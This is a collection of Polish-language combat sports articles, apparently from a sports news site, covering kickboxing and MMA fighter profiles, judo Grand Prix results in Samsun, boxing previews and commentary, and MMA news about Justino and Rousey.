Robert Nowak

Polski Kick-boxer urodzony 20 września 1975 roku w Poznaniu. Były członek kadry narodowej w kickboxingu oraz reprezentant poznańskiego AZS AWF, wielokrotny zawodowy Mistrz Świata WAKO PRO w formule Full Contact, Mistrz Świata i Europy amatorów. Jako amator dziesięciokrotnie zdobywał tytuł mistrza Polski w kategorii wagowej do 75 kg. Pierwszym międzynarodowym sukcesem Roberta było zdobycie tytułu mistrza Europy na zawodach w Belgradzie w 1996 roku. Sukces ten powtórzył w 1998 i 2000 roku. Największym amatorskim sukcesem Roberta było zdobycie tytułu mistrza świata w 2000 roku na turnieju w Belgradzie w formule full contact. Zdobył również trzykrotnie puchar świata w latach 1999,1999,2000. Tytuł zawodowego mistrza świata organizacji WAKO PRO zdobył w 2001 roku w Helsinkach. Pierwszy raz tytułu bronił w 2002 roku w Hull, nokautując faworyta tego starcia Marka Elwooda. Tytuł bronił sześciokrotnie pokonując takich rywali jak: Fabricea Barella, Oliver Cerdanem. Karierę sportową zakończył w 2006 roku pokonując jednogłośnym werdyktem w Poznaniu Francuza Frederica Ficeta. W 2000 roku startował również w walkach bokserskich. Stoczył cztery pojedynki z czego dwa wygrał przed czasem. 

Marcin Bandel

Polski zawodnik MMA i brazylijskiego jiu-jitsu urodzony 10 października 1989 roku w Łodzi. Jest mistrzem czołowej niemieckiej organizacji German MMA Championship w wadze średniej. Marcin jest laureatem nagrody za poddanie roku w 2013 roku. Od 9 maja 2014 roku związany jest z UFC.  Jest aktualnym rekordzistą serii zwycięstw przez poddanie – 12. Poprzedni rekord należał do członków rodziny Gracie Ricksona i Roycea, którzy mieli po 11 zwycięstw przez poddanie. Marcin Bandel jest utalentowanym zawodnikiem BJJ i stylów parterowych. Wielokrotnie zwyciężał zawody grapplerskie w kraju i za granicą. Wygrał prestiżowe zawody World Professional Jiu – Jitsu w Bukareszcie. W 2011 roku również zdobył tytuł mistrza polski oraz zwyciężał dwukrotnie zawody Ligi BJJ (2010,2012). Wraz ze startami w zawodach BJJ, Marcin startował również w amatorskich turniejach MMA. Do największych sukcesów w amatorskim MMA można zaliczyć dwukrotne wygranie Polskiej Ligi MMA Shooto klasy C w 2009 roku. W amatorskim MMA miał bilans 13-1.

W tym samym roku co wygrał zawody Shooto, zadebiutował na zawodowym ringu. Rywalem Marcina w pierwszym starciu był Robert Skrzypczak, z którym Bandel sobie szybko poradził. Kolejne dwa starcie przyniosły dwie porażki. Najpierw przegrał na punkty z Marcinem Krzysztofiakiem, a później przez ciężki nokaut z Węgrem Laszlo Blaho. W 2011 roku stoczył pojedynek z Litwinem Andriusem Liudvinaviciusem. Marcin wygrał pojedynek przez dźwignie na staw łokciowy. W 2012 roku wystartował w Memoriale Pawła Kamińskiego. W pierwszej walce Marcin szybko trafił obszernym sierpem Sebastiana Hercunia, posyłając go na mate, po czym został poddany przez duszenie. W finale turnieju pokonał Bartosza Janika przez poddanie dźwignią na staw łokciowy.  Jeszcze w tym samym roku stoczył kolejne dwa pojedynki dla Fighters Areny, równie szybko pokonując Bartosza Fabińskiego przez poddanie. W 2013 roku pokonał Piotra Wysockiego na kolejnej gali Fighters Arena. W lutym 2013 roku wyjechał do Niemiec by stoczyć pojedynek o pas mistrza prestiżowej niemieckiej organizacji MMA Championship. Bandel pokonał Niemca Andreasa Birgelsa przez poddanie i zdobył tytuł mistrza w wadze średniej. W tym samym roku na II Memoriale Pawła Kamińskiego w walce wieczoru poddał utalentowanego Szymona Duszę dźwignią skrętową. We wrześniu został ponownie zaproszony na gale do Niemiec. Na imprezie Fight For Charity w Magdenburgu zmierzył się z Bułgarem Weselinem Dimitrowem którego poddał omoplatą. Pod koniec 2013 roku został nominowany w kategorii poddania roku. W tym roku również zwyciężył na kolejnych dwóch galach w Niemczech, poddając Jonnego Kruschinske i Musę Jangubajewa. 

Grand Prix Samsun: Perenc ratuje honor

Miało być inaczej. Polscy judocy do Samsun pojechali w mocnym składzie – z Katarzyną Furmanek i Maciejem Sarnackim na czele. O zachwyty trudno. Honor uratowała Agata Perenc, która sięgnęła po brązowy medal w kategorii 52 kg.

W porównaniu z zeszłotygodniowym występem w Tbilisi nastąpił postęp. Grand Prix w Gruzji zakończył się dla naszych reprezentantów bez żadnej zdobyczy medalowej. Najwyżej uplasowała się Agata Ozdoba, która w kategorii 63 kg zajęła piątą pozycję. Brązowa medalista mistrzostw Europy z Montpellier w Samsun odpadła w eliminacjach. Ozdoba wygrała pierwszą walkę z Marijaną Misković, jednak w kolejnej lepsza okazała się Anicka Van Emden. Holenderka triumfowała w kategorii 63 kg.

W Tbilisi Perenc pokonała utytułowaną Petrę Nareks, jednak w zawodach nie osiągnęła sukcesu. Start w Turcji był powodem do radości dla naszej zawodniczki. W tym sezonie judoczka Polonii Rybnik notowała dobre występy m.in. trzecie miejsce podczas Pucharu Świata w Oberwart. Polka w Samsun  wywalczyła kolejny brązowy medal. W ćwierćfinale Perenc trafiła na Aten Ilse Heylen i Belgijka okazała się przeszkodą nie do przejścia. Polka wygrała bez problemu trzy pierwsze pojedynki, jednak w rywalizacji z brązową medalistką olimpijską okazała się bezradna. W walce o trzecie miejsce spotkała się z Kelly Edwards i wygrała przez waza-ari. Perenc mogła cieszyć się z trzeciego miejsca. Aten Ilse Heylen w finale przegrała z reprezentującą Kosowo Distrii Krasniqi.

Dobry początek zawodów nie pozwolił Ewie Konieczny (48 kg) i Arlecie Podolak (57 kg) na odniesienie sukcesu. Nieważne jak się zaczyna… Konieczny i Podolak wygrały po dwie walki, by potem ponieść dwie porażki – w ¼ finału i w repasażu.  Ostatecznie obie judoczki zajęły siódme miejsca. Słaby występ zaliczyła Katarzyna Furmanek, która triumfowała w Pucharze Świata w Pradze. W Turcji Polka (+78 kg) przegrała walkę inauguracyjną i szybko pożegnała się z rywalizacją. Powodów do zadowolenia nie miał Maciej Sarnacki, który już w eliminacjach pożegnał się z rywalizacją. Zwycięzca Pucharu Świata w Warszawie  pokonał Diogo Silvę z Portugalii przez ippon, ale na tym koniec dobrych informacji. Kolejna walka i porażka. Sarnacki przegrał przez yuko z Faicelem Jabbalahem. Busra Katipoglu powstrzymała Karolinę Tałach (63 kg). Zawodniczka Wybrzeża Gdańsk wygrała dwie walki, jednak w starciu o ćwierćfinał uległa przez ippon reprezentantce Turcji.

Brązowy medal Agaty Perenc to największy sukces Grand Prix w Samsun. W porównaniu z ubiegłotygodniowym występem w Tbilisi reprezentacja Polski zanotowała lepszy start. Do Turcji wybrała się szesnastoosobowa kadra, więc jeden medal nie jest wymiernym sukcesem. Większość naszych reprezentantów odpadła już w eliminacjach. Perenc zanotowała kolejny dobry występ w sezonie, rozczarowali Katarzyna Furmanek i Maciej Sarnacki, którzy przyzwyczaili do określonego poziomu.

KM

Judo Grand Prix, Samsun 2015 – transmisje w FightKlubie

Zwycięzca niedawnego Pucharu Świata w Warszawie Maciej Sarnacki ( 100 kg) wystąpi w zawodach Grand Prix w judo w tureckim Samsun. Turniej z cyklu kwalifikacji olimpijskich odbędzie się od piątku do niedzieli (27-29.03). Transmisje na żywo na naszej antenie piątek i sobota o 15:00, niedziela o 16:00.

Po ubiegłotygodniowym występie w GP w Tbilisi, gdzie blisko medalu była Agata Ozdoba (5 miejsce w wadze -63 kg), tym razem Polacy rywalizować będą o punkty do rankingu w Turcji. Na liście zgłoszeń jest ponad pół tysiąca zawodniczek i zawodników z 70 państw. Ostateczna liczba startujących znana będzie po czwartkowej akredytacji i losowaniu.

Prawdopodobnie z numerem 4 rozstawiony będzie Maciej Sarnacki (Gwardia Olsztyn). Na liście olimpijskiej zajmuje 9 miejsce, a z grona zgłoszonych do GP Samsun wyżej od niego są tylko Holender Roy Meyer, Brazylijczyk Rafael Silva i Rumun Daniel Natea. Polak należy do faworytów turnieju i z pewnością powalczy o kolejny medal z imprezy międzynarodowej.

Oprócz niego w składzie jest jeszcze 11 reprezentantów Polski. W piątek na tatami w Turcji startować będą Ewa Konieczny -48 kg, Agata Perenc -52 kg, Arleta Podolak -57 kg, Łukasz Kiełbasiński -60 kg i Aleksander Beta -66 kg, w sobotę Agata Ozdoba -63 kg, Karolina Tałach -63 kg i Jakub Kubieniec -81 kg, zaś w niedzielę Katarzyna Furmanek 78 kg, Patryk Ciechomski -90 kg i Jakub Wójcik -100 kg.

Turniej w Samsun miał być ostatnim sprawdzianem przed Mistrzostwami Europy zaplanowanymi na początek kwietnia w szkockim Glasgow. Europejska Unia Judo odebrała jednak Brytyjskiej Federacji prawo organizacji zawodów i przeniosła je na czerwiec do Baku – zostały włączone do programu 1 Igrzysk Europejskich.

Źródło: materiały prasowe

Gala ESPN: Fredrick Lawson kontra Breidis Prescott

Gala ESPN: Fredrick Lawson kontra Breidis Prescott 

W nocy z czwartku na piątek widzów telewizji FightKlub może czekać niezłe „bombardowanie” w kategorii półśredniej. NiepokonanyGhanijczyk Fredrick Lawson (23-0, 20 KO) podejmie doświadczonego i zawsze niebezpiecznego Kolumbijczyka Breidisa Prescotta (27-6, 20 KO). Transmisja z gali w nocy z czwartku na piątek od 02:00, powtórka w piątek o 12:00.

Mieszkający na co dzień w Stanach Zjednoczonych Lawson ma już za sobą debiut na antenie ESPN. Pierwszy raz szerokiej publice zaprezentował się w poprzednim pojedynku, w którym efektownie rozprawił się z Rayem Narthem. Narth znalazł się na deskach w drugiej i ósmej rundzie, jednak dotrwał do ostatniego gongu ostatecznie przegrywając wysoko na punkty. Dzięki tej wygranej Lawson awansował na wysokie, 12. miejsce w rankingu IBF w kategorii półśredniej.
Inny scenariusz na walkę ma oczywiście znacznie bardziej doświadczony Breidis Prescott. Największym osiągnięciem 31-letniego Kolumbijczyka jest brutalne znokautowanie brytyjskiej gwiazdy Amira Khana już w pierwszej rundzie (zdjęcie). Prescott mierzył się także w swojej karierze z takimi tuzami jak Terence Crawford, Richard Abril, Mike Alvarado czy Kevin Mitchell i chociaż ostatecznie przegrywał te pojedynki, to zazwyczaj stawiał zacięty opór, posyłając swoich rywali na deski, czy nawet wygrywając na punkty do momentu przerwania walki (starcie z Alvarado). W ostatnim występie Kolumbijczyk przegrał po wyrównanej walce z Roberto Garcią, posyłając go na deski w dziewiątym starciu. Niepokonanego Lawsona czeka zatem zdecydowanie najtrudniejszy test w karierze.

Źródło: materiały prasowe

Brytyjskie nadęcie w boksie

Obserwując zachowania pięściarzy pochodzących z Wielkiej Brytanii można wysnuć wniosek, iż przekonani są oni o swojej wyższości. Czy mają ku temu podstawy? Często powtarzają pewne utarte frazy o ogromnej mocy, którą rzekomo posiedli i wizji opanowania świata.

Kiedyś świat chcieli zdobyć Pinky i jego kumpel Mózg (dwa szczury, które tworzyły plan zagłady kuli ziemskiej), jednak ich koncepcje okazywały się mało skuteczne. Bokserzy z Wielkiej Brytanii prawią peany o swoich możliwościach, niestety – często zaniedbując język Szekspira. Rzecz jasna nie są pięściarzami drugiej kategorii, ale w swoich wywodach często zapędzają się w ślepy zaułek. Jednych już rzeczywistość brutalnie zweryfikowała, inni czekają na możliwość spełniania swoich obietnic.

W tym drugim gronie znajduje się Tyson Fury. Pięściarz wielki jak dąb, ale niepokorny i nieszczędzący sobie pochlebstw. Taki trochę narcyz. Mówić, że popada w samouwielbienie to nic nie powiedzieć. Fury stworzył narrację, w której jest panem i królem świata. Bokserskim mistrzem, przed którym wszyscy powinni klękać i czerpać z niego. Problem w tym, że nie za bardzo wiadomo, do czego się odnieść. Że Tyson (Fury rzecz jasna) możliwości ma – to prawda, ale gdzie on, a gdzie mistrzostwo świata. Obecnie tytuły znajdują się w innych rękach. Fury pokonał w swojej karierze rywali renomowanych m.in. Chisorę, Cunninghama, Johnsona czy Maddalone. To nazwiska powszechnie znane, mierzył się również z kelnerami. Powiedzieć, że Brytyjczyk rozgromił potężnych rywali i toczył nieziemskie boje to nadużycie. Fury dużo gada, a wszystko i tak weryfikuje ring. 26-latek już planuje w jaki sposób odbierze pas Wilderowi i poskromi Kliczko. Wprost mówi, że jest lepszy od dwóch wcześniej wymienionych panów. Fury już straszył Ukraińca mówiąc wprost: – Idę po ciebie, malutki! Brytyjczyk jest przekonany, że Kliczko nie sprawi mu problemów: – Będzie to dla mnie łatwa walka. A później ma przyjść kolej na Wildera i nastanie era Tysona Fury.

A zakusy na walkę z Wilderem ma również David Haye. Brytyjczyk, który swego czasu chciał poskromić Władimira Kliczko i otwarcie zapowiadał odebranie pasów Ukraińcowi . Kiedy w lipcu 2011 roku w Hamburgu doszło do starcia obu  panów Brytyjczyk nie był tak pewny siebie. Haye przegrał najważniejszy pojedynek w swojej karierze, ale to nie był koniec jego działań. Wielokrotnie atakował mistrza wagi ciężkiej. – Jego brat Witalij ma przynajmniej jaja. On nie ma ich w ogóle – stwierdził pewnego razu Haye. Brytyjczyk ostatni pojedynek stoczył prawie trzy lata temu – pokonał Chisorę. Teraz chce wrócić. Wyjawił, że ma w planach walkę z Deontayem Wilderem, z którym kiedyś sparował. Amerykanin jest mistrzem świata WBC w wadze ciężkiej. W tym wypadku Haye wypowiada się o rywalu z szacunkiem. Przerwa od boksu sprawiła, że chyba w końcu dojrzał i zrezygnował z ciętego, często niewyparzonego języka. – Deontay Wilder to dobry bokser, który zasłużył na tytuł mistrza świata. Myślę, że za 12-18 miesięcy będę pretendentem do walki z nim. Jak zawsze Haye wierzy w swoje możliwości. Czy po tak długiej przerwie będzie w stanie wrócić na szczyt? – Zrobiłbym z siebie idiotę domagając się teraz tej walki tylko dlatego, że trzy lata temu walczyłem na wysokim poziomie – dobitnie wyraził się Haye, który wyraźnie zmienił narrację. Być może to gra zawodnika wracającego po dłuższej przerwie i w pewnym momencie obudzą się w nim stare demony.

Najłagodniejszą wersją brytyjskiego nadęcia jest Amir Khan. Bokser wagi junior półśredniej głośno mówi o swoich aspiracjach używając języka, który można uznać  za lekko pretensjonalny. Khan snuł bogate plany, co do swoich kolejnych walk. – Mam plan, żeby w maju walczyć z Mayweatherem. […].Pod koniec roku bardzo chciałbym zmierzyć się w ringu z Manny Pacquiao. Ta walka jest prawdopodobna i sądzę, że jestem w stanie ją wygrać – mówił w grudniu 2014 roku Brytyjczyk (wypowiedź dla Sky Sports News). Jak się okazało zamiary Khana zapewne się nie ziszczą. W maju dojdzie do starcia Mayweather – Pacquiao. Khan wziął sobie na celownik kolejnego rywala. – Moim zdaniem Miguel Cotto to dobry pięściarz. Myślę, że moja szybkość, praca na noga oraz dobry plan przygotowany przez Virgila Huntera sprawiłyby, że pojedynek z nim byłby dla mnie czymś wspaniałym –mówił Brytyjczyk. Z ust Khana za każdym razem wypływa potrzeba stoczenia wyjątkowego i wielkiego pojedynku. Brytyjczyk stara się wejść na szczyt, ale do tej pory kończy się na poszukiwaniu rywali z nazwiskiem. Ci z kolei ofert Khana nie traktują poważnie.

Haye wraca na ring, ale styl jego wypowiedzi zmienił się. Dojrzał? A być może świadomie w sposób delikatny chce się przypomnieć światu. Khan chce się przebić, ale jego głos nie jest słyszalny. Fury ma możliwości, ale bokser jest od boksowania. Zdecydowanie Brytyjczyk tworzy zbyt wyszukane twory literackie w celu heroizowania własnej postaci. Nadęcie? A może marketing? Nie, to zapewne coś innego. Walka psychologiczna. Haye raz ją przegrał, a teraz wraca w innym stylu. Wyciągnął wnioski czy szuka własnej drogi? A Chisora? Też taki był. U nas „śpiewać każdy może, trochę lepiej, lub trochę gorzej”. Parafrazując, brytyjscy pięściarze wychodzą z założenia, że gadać każdy może – a co z tego wyniknie to już inna sprawa.

KM

 

Justino czeka na debiut w UFC

Pierwsza walka „Cyborg” dla nowego pracodawcy ma mieć miejsce w 2016 roku. Teraz Brazylijka musi wypełnić inne zobowiązania. Przed Cristiane Justino występ na gali Invicta FC 13, nazwisko rywalki nie jest jeszcze znane.

„Cyborg” czeka zmiana. Będzie musiała przejść z kategorii piórkowej do koguciej. Pewne było, że prędzej czy później Brazylijka zwiąże się kontraktem z UFC. Justino podpisała umowę z największą organizacją mieszanych sztuk walki na świecie dwa miesiące temu podczas gali Invicta FC 11. W lipcu „Cyborg” stoczy ostatnią walkę w wadze piórkowej. Zgodnie z zapisami kontraktowymi u nowego pracodawcy musi stoczyć jeden pojedynek w wadze koguciej, jeśli chce rywalizować z Rondą Rousey. Nie ma co ukrywać, że właśnie po to w głównej mierze Brazylijka zawitała w szeregi UFC.

Ronda Rousey i Cristiane Justino to gwiazdy kobiecego MMA. Trwa spór, która z nich jest królową. Najlepszym rozstrzygnięciem powinno być ich spotkanie w oktagonie, jednak jeszcze kilka miesięcy cierpliwości. Z pewnością w tym czasie obie panie nie będą szczędziły sobie uprzejmości. Rousey wielokrotnie atakowała Brazylijkę przypominając fakt, że ta w 2011 roku została zawieszona za stosowanie niedozwolonych środków. – Niech przestanie żreć sterydy i w końcu zrobi wagę – mówiła mistrzyni UFC. Amerykanka nie ukrywała, że czeka na walkę z Justino. Podkreślała swoją gotowości do rywalizacji z „Cyborg”. – Jestem mistrzynią kategorii koguciej. Jestem tu i ona w każdej chwili może przyjść i ze mną walczyć – stanowczo mówiła Ronda Rousey.

W kwestii dopingu Justino wie, że popełniła błąd, ale oskarżeniom Amerykanki zaprzecza. Obecnie gotowa jest w każdej chwili poddać się testom antydopingowym. „Cyborg” na pojedynek z Rousey czeka, jest to dla niej coś wyjątkowego – „jestem podekscytowana perspektywą tej walki”. Dan White zrobił wszystko, aby umożliwić zawodniczkom spotkanie w oktagonie. Justino podpisała umowę z UFC, musi tylko odbyć walkę na lipcowej gali Invicta FC 13, a potem jeden pojedynek dla nowego pracodawcy w kategorii koguciej. W 2016 roku może dojść do starcia dwóch najlepszych zawodniczek kobiecego MMA, a po nim królowa będzie tylko jedna.

Justino i Rousey obecnie mogą prześcigać się w efektywności i rywalizować na odległość. Obie zawodniczki swoje ostatnie walki zakończyły w ekspresowym tempie. Na gali Invicta FC 11 „Cyborg” rozprawiła się z Charmaine Tweet w czterdzieści sześć sekund. Na odpowiedź Rousey nie trzeba było długo czekać. Podczas gali UFC 184 Amerykanka w czternaście sekund odprawiła Cat Zingano. Jedna chce być lepsza od drugiej i pokazać światu, że na tronie może zasiąść tylko jedna z nich. Staną naprzeciw siebie i wtedy rozstrzygną ten spór. Głębokie spojrzenie w oczy, walka. Zacięta, efektowna, pełna zwrotów akcji. A może zdarzy się szybkie rozstrzygnięcie? Jeszcze cierpliwości – rok trzeba poczekać. A przez ten czas wiele może się zmienić. Na dziś pojedynek Rousey – Justino elektryzuje.

KM

W weekend do Samsun, w 2017 do Budapesztu

Ci to się dopiero najeżdżą po świecie! Ostatnio Tbillisi, teraz Samsun, a za dwa lata Budapeszt. Nic tylko cieszyć się cudownymi widokami. Niech to Państwa nie zmyli – nasi judocy nie są turystami, lecz zawodnikami, którzy po świecie podróżują, aby występować w kolejnych zawodach i walczyć o medale.

Występ w Tbilisi w wykonaniu biało – czerwonych nie był najlepszy. Piąte miejsce Agaty Ozdoby okazało się największym dokonaniem, a nasi judocy przyzwyczaili nas, że są w stanie stawać na podium i wygrywać. Sarnacki w Warszawie, Furmanek w Pradze byli najlepsi. Powszechne stało się mniemanie, że judo wraca na właściwe miejsce, zawodnicy prezentują coraz wyższą formę i na Igrzyskach Olimpijskich w Rio de Janeiro możemy liczyć na medal.

Przed naszymi reprezentantami kolejne zawody z cyklu Grand Prix, tym razem w Samsun. Do Turcji uda się szesnastoosobowa ekipa. Polskiego najazdu na Samsun dokonają: Ewa Konieczny, Agata Perenc, Arleta Podolak, Agata Ozdoba, Karolina Tałach, Daria Pogorzelec (na zdjęciu), Katarzyna Furmanek, Łukasz Kiełbasiński, Aleksander Beta, Paweł Zagrodnik, Damian Szwarnowiecki, Jakub Kubieniec, Łukasz Błach, Patryk Ciechomski, Jakub Wójcik i Maciej Sarnacki. Pytanie – co jest celem naszych judoków nie powinno się pojawiać. Oczywiste jest – do Turcji jedziemy po kolejne punkty w wyścigu olimpijskim. Poziom polskiego judo ustabilizował się, co powoduje, że wymagania względem zawodników wzrastają. Judocy nie zamierzają stać w miejscu i dążą do osiągania kolejnych sukcesów. Zwłaszcza kadra kobiet wygląda bardzo dobrze, co zostało udokumentowane oraz potwierdzone w zeszłym sezonie. W Turcji wystąpi dziewięciu panów, więc warto pokazać, że również męska część jest w stanie osiągać sukcesy. Czy do Sarnackiego dołączy kolejny judoka żądny triumfów? W Samsun polska reprezentacja powinna zatrzeć kiepskie wrażenie z Grand Prix w Tbilisi.

W najbliższy weekend Samsun, niektórzy chcą bilet do Rio, a potem wybiorą się do Budapesztu. Właśnie w stolicy Węgier odbędą się mistrzostwa świata w judo w 2017 roku. W rywalizacji wzięły jeszcze udział Chiny, Mongolia i Katar, ale tym razem czempionat odbędzie się w Europie. Dwa lata temu Budapeszt gościł mistrzostwa Europy, jednak Polacy nie wspominają tego występu najlepiej. Wszyscy Polacy odpadli już w eliminacjach, więc stolica Węgier nie kojarzy im się najlepiej. W 2017 roku nadejdzie czas na zmianę tego przekonania i wcielenie w życiu pozytywnych uczuć związanych z tym miastem.

Jednak zanim Rio, zanim Budapeszt czas na Samsun. Koncentrujemy się na Turcji. Jeszcze jedno wtrącenie turystyczne, aby uzupełnić kartę wycieczki. W tym roku nasi judocy wezmą udział w mistrzostwach świata w Kazachstanie. Rok temu w Czelabińsku po brązowy medal sięgnęła Katarzyna Kłys. Sukces Polki był swoistym przełomem, gdyż był to pierwszy od jedenastu lat krążek na mistrzostwach świata. W Kazachstanie licznik powinien iść w górę. A tak naprawdę – niech wystartuje już w Samsun.

KM

Następca Gołoty wraca na ring

Prawdopodobnie w lipcu kolejną walkę w swojej karierze stoczy Andrzej Wawrzyk. Bokser wagi ciężkiej ma wystąpić podczas gali Sferis Knockout Promotions w Niepołomicach.

Wawrzyk ostatni pojedynek na zawodowym ringu stoczył w marcu ubiegłego roku, kiedy przez techniczny nokaut w piątej rundzie pokonał Fransa Bothę. Dla 27-latka była to druga i zarazem ostatnia walka w 2014 roku. Mówiło się, że stanie w ringu z Albertem Sosnowskim, jednak z powodów losowych organizacja pojedynku stała się niemożliwa. W kwietniu Wawrzyk uczestniczył w wypadku samochodowym, w którym odniósł obrażenia. Miał złamaną lewą nogę oraz zerwane więzadła. Ostatni czas bokser poświęcał na rehabilitację, aby dojść do pełnej sprawność. Stan Wawrzyka wrócił do normy, teraz nadszedł czas na powrót do rywalizacji. Pięściarz z Krakowa ma zaprezentować się podczas gali w Niepołomicach.

Wawrzyk wyraził radość z tego powodu na swoim profilu na portalu społecznościowym facebook. Dla pięściarza będzie to powrót po prawie półtorarocznym rozbracie z ringiem. Z pewnością Wawrzykowi niezbędny jest czas, aby mógł osiągnąć płenię formy. Po tak długiej przerwie konieczne będą intensywne przygotowania i przede wszystkim – praca nad kondycją. Pierwszy sprawdzian formy prawdopodobnie będzie miał miejsce w Niepołomicach. Personalia rywala nie są jeszcze znane. Dla Wawrzyka najważniejszy jest fakt powrotu na ring. Wawrzyk przeżył ciężki wypadek, w którym doznał poważnego uszczerbku na zdrowiu, ale w takich sytuacjach istotne jest, aby widzieć cel. Dla pięściarza takim marzeniem jest kolejna walka. Jednak Wawrzyk stanął przed innym wyzwaniem – rehabilitacja, dochodzenie do pełnej sprawności to część obrazu, która towarzyszyła międzynarodowemu mistrzowi Polski wagi ciężkiej w  ostatnim czasie. Nad głową boksera zaświeciło słońcem. Ostatnio związał się kontraktem z menadżerem  Alem Haymonem i stał się częścią jego drużyny. Ten krok może pomóc Wawrzykowi w rozwoju kariery.

Warto nadmienić, że swego czasu Andrzej Wawrzyk określany był jako następca Andrzeja Gołoty. Do tej pory nie poszedł drogą słynnego „Andrewa”, jednak najlepsze lata jeszcze przed nim. Istotne, aby pięściarz wrócił na ring i zaczął boksować. Wawrzyk przed największą szansą w swojej karierze stanął w maju 2013 roku, kiedy stoczył pojedynek o mistrzostwo świata WBA z Aleksandrem Powietkinem. Polak przegrał z Rosjaninem przez nokaut w trzeciej rundzie. Od  tamtej pory stoczył dwie walki, które pewnie i zdecydowanie wygrał. W Opolu pokonał Danny’ego Williamsa, którego odprawił już w pierwszej rundzie. Kolejne starcie miało miejsce w  marcu 2014 roku – przez nokaut w piątej odsłonie pokonał wspomnianego już Bothę. Obecnie Wawrzyk wraca na ring jako nadzieja polskiej wagi ciężkiej. Obok Szpilki, Wacha i Rekowskiego jest klasyfikowany w rankingach głównych organizacji bokserskich w kategorii królewskiej. Z pewnością 27-latek szybko będzie chciał wywindować swoją pozycję (obecnie zajmuje miejsca w okolicy trzydziestego).Wawrzyk wraca do walki po dłuższej przerwie. Dla polskiego pięściarza ważne jest, aby zyskać kontakt z czołówką i podjąć próbę ataku na mistrzostwo świata. Czy jest w stanie osiągnąć poziom, który pozwolił mu na walkę z Powietkinem? Wielu mówiło wtedy, że Wawrzyk nie zasłużył na ten pojedynek. Teraz jest w innym miejscu. Startuje po trudnym doświadczeniu. Podpisał kontrakt z Haymonem, co może dać mu wymierne korzyści. Tylko musi wrócić do formy.  Tylko tyle i aż tyle. Pierwszy krok należy do niego, organizacyjnie ma solidne zaplecze. Sam musi zadbać o poziom sportowy i efektowny powrót. Prawdopodobnie w Niepołomicach.

fot. PAP

KM

Mongolskie szlifowanie

Reprezentacja Polski kobiet w zapasach przez najbliższe dwa tygodnie będzie pracowała nad formą podczas zgrupowania w Mongolii. Ma być to czas wytężonej pracy, który przyniesie owoce w dalszej części sezonu.

Głównym tegorocznym celem są rzecz jasna mistrzostwa świata w Las Vegas, które będą jednocześnie możliwością uzyskania kwalifikacji na Igrzyska Olimpijskie w Rio de Janeiro. Kadra Polski intensywnie przygotowuje się do tego startu, aby uzyskać jak najlepsze rezultaty. Z nadziejami na mistrzostwa świata patrzy Iwona Matkowska, która jest aktualną wicemistrzynią świata. W Las Vegas będzie mierzyła w medal, ale celem głównym jest uzyskanie kwalifikacji olimpijskiej. Czas spędzony w Mongolii z pewnością posłuży do jak najlepszego przygotowania zawodniczek do kolejnych startów.

W styczniu reprezentacja Polski kobiet przebywała na dwutygodniowym zgrupowaniu w Wiśle. Był to pierwszy etap przygotowań do startów w nowym sezonie. Polki mają za sobą kilka występów, z których przywiozły medale. Dobry występ podczas mocno obsadzonego turnieju Klippan Lady Open pokazał, że biało-czerwone są gotowe na wyczerpującą rywalizację. Podczas skandynawskich zawodów po brązowe medale sięgnęły Iwona Matkowska (48 kg) i Katarzyna Krawczyk (53 kg). Grand Prix w Paryżu nasze zawodniczki zakończyły z dorobkiem czterech medali. Dobrą dyspozycję potwierdziły Matkowska i Krawczyk, które odpowiednio sięgnęły po srebrny i brązowy krążek. W kategorii 48 kg brąz zawisł na szyi Anny Łukasiak, a w 53 kg Roksana Zasina wywalczyła srebro. Wymagającym występem była rywalizacja o Puchar Świata w Sankt Petersburgu. Nasza reprezentacja w składzie: Iwona Matkowska i Anna Łukasik (48 kg), Roksana Zasina i Paula Kozłow (53 kg), Katarzyna Krawczyk (55 kg), Aleksandra Wólczyńska (58 kg), Agnieszka Król (60 kg), Monika Michalik (63 kg), Agnieszka Wieszczek-Kordus (69 kg) i Daria Osocka (75 kg) wywalczyła siódmą pozycję. W grupie Polki przegrały wszystkie mecze: z Japonią (7-1), z Azerbejdżanem (5-3) i USA (5-3).  O siódme miejsce biało – czerwonym przyszło walczyć ze Szwedkami. Po dwóch przegranych walkach sygnał do ataku dała Anna Wólczyńska, swoje pojedynki wygrały również Agnieszka Wieszczek, Monika Michalik i Daria Osocka. Polska wygrała 5:3(Anna Łukasiak nie miała rywalki) i zajęła siódme miejsce. Zawody zakończyły się triumfem Japonek, które w finale uporały się z Rosjankami.

Teraz reprezentantki Polski stają w obliczu kolejnego etapu przygotowań przed wymagającymi startami. Do Ułan Bator trener Krzysztof Ołenczyn zabrał Roksanę Zasinę, Katarzynę Krawczyk, Annę Łukasiak, Agnieszkę Wieszczek-Kordus, Iwonę Matkowską oraz Monikę Michalik. Przed zawodniczkami ciężkie treningi, których celem jest wypracowanie jak najlepszej formy. Polki będą miały okazję sprawdzić swoją dyspozycję w turnieju Mongolia Open (27 – 29 marca). Biało – czerwone wystąpią w zawodach obok reprezentacji Mongolii, USA, Japonii oraz Kazachstanu. Zbiór przeciwników wymagający także będzie okazja do weryfikacji obecnej formy. Po drodze do Las Vegas na nasze zawodniczki czekają jeszcze Igrzyska Europejskie w Baku. Także trzeba szlifować formę.

KM

UFC Fight Night: Dzielna obrona LaFlare’a

Demian Maia nie miał łatwego zadania. Podczas kolejnej gali UFC Fight Night Brazylijczyk odniósł zwycięstwo, jednak Ryan LaFlare bronił się dzielnie i nie dał się pokonać przed czasem.

Bez dwóch zdań Maia zdominował pojedynek i na każdym kroku podkreślał swoją przewagę. Z jednym wyjątkiem, w trzeciej rundzie LaFlare postawił się rywalowi. Mocny opór nie uchronił go jednak przed parterem, a po jednym z obaleń znalazł się na górze, ale nie zrobił krzywdy Brazylijczykowi. Maia z całych sił dążył do sprowadzenia pojedynku na ziemię. Brazylijczyk często miał rywala na plecach, jednak nie potrafił precyzyjnie dokończyć dzieła. Niemalże w każdej rundzie Maia kończył starcie trójkątem rękoma z dosiadu. Przewaga Brazylijczyka nie podlegała dyskusji, choć LaFlare stawił czoła rywalowi i nie uległ. Sędziowie nie mieli wątpliwości, po pięciu rundach Maia mógł wznieść ręce w geście triumfu. Dla Brazylijczyka wygrana jest niezwykle cenna, gdyż ostatni czas w jego karierze nie obfitował w sukcesy. Ostatni raz walczył w maju 2014 roku, kiedy pokonał Alexandra Yakovlewa. Jednak wcześniej zanotował dwie porażki – z Rory’m MacDonaldem oraz Jacke’m Shieldsem. Wyraźnie widoczne stało się, że Maia ma problemy adaptacyjne w MMA i nie czuje się najlepiej. Czy wygrana z LaFlare'm będzie początkiem czegoś nowego, lepszego w karierze Brazylijczka?

